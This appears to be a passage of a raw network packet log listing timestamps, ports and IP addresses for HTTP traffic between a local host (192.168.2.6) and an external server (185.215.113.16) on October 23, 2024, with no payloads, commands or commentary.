Oct 23, 2024 17:51:28.135027885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135050058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135066986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135077953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135087967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135138988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135150909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135159969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135163069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135174036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135215044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135215044 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135215998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135226011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135236979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135365963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135377884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135385990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135396957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135406971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135412931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135420084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135456085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135466099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135482073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135499954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135500908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135519028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135540009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135540962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135551929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135565042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135571003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135596991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135615110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135623932 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135626078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135634899 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135638952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135649920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135658979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135706902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135718107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135720015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135731936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135772943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135778904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135811090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135865927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135895014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135906935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135919094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135929108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135941029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135952950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.135979891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135991096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.135997057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136033058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136033058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136073112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136097908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136110067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136121035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136133909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136154890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136168003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136177063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136234999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136254072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136281967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136293888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136301994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136315107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136318922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136327028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136339903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136373043 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136384010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136418104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136533976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136677980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136718988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136729002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136754036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136765003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136775970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136805058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136820078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136821032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136846066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136918068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136933088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136956930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136957884 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136967897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.136975050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.136979103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137006998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137006998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137020111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137048006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137048960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137084961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137096882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137132883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137145996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137154102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137202978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137223005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137231112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137243032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137264967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137314081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137324095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137335062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137353897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137356997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137366056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137372971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137379885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137403011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137414932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137423038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137433052 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137445927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137458086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137514114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137522936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137533903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137553930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137557983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137568951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137577057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137659073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137670994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137681007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137681961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137727976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137739897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137751102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137751102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137779951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137785912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137785912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137790918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137803078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137823105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137845993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137856960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137867928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137876987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.137904882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.137923002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.138727903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.199418068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.199454069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.199485064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.199501991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.199516058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.199529886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.199583054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.199583054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.199621916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.209333897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.209376097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.209391117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.209466934 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.250317097 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.250334978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.250349998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.250384092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.250397921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.250412941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.250420094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.250459909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.250459909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.250996113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251027107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251041889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251159906 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.251168966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251184940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251240015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.251260996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251337051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251352072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251399994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251430035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251445055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251458883 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.251461029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251476049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251499891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.251509905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251523018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251535892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.251538038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251554012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251560926 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.251612902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.251921892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251962900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251986027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.251998901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252015114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252022028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252029896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252053976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252093077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252114058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252119064 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252130985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252156019 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252177954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252193928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252207041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252219915 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252222061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252238989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252247095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252254009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252279997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252305031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252320051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252332926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252358913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252372026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252516985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252619982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252635956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252667904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252691031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252693892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252706051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252721071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252731085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252734900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252743959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252749920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252768040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252775908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252783060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.252808094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.252911091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253106117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253123999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253139019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253151894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253165960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253186941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253201962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253225088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253226042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253267050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253279924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253293037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253325939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253340960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253340960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253371000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253397942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253411055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253431082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253447056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253457069 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253462076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253484011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253499031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253509045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253528118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253535032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253551006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253588915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253604889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253618002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253618002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253633976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253643036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253648043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253659964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253678083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253698111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253700972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253715038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253730059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253739119 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253745079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253770113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253787041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253803015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253823042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253839016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253849983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253853083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253868103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253879070 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253881931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253896952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253906012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253911972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253922939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253926992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253937960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253948927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253951073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253959894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253971100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253972054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.253981113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.253992081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254003048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254014015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254014969 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254024982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254034996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254036903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254086018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254211903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254230976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254240990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254292011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254292011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254312038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254322052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254332066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254378080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254390955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254400969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254405022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254412889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254417896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254427910 CEST	80	49763	185.215.113.16	192.168.2.6
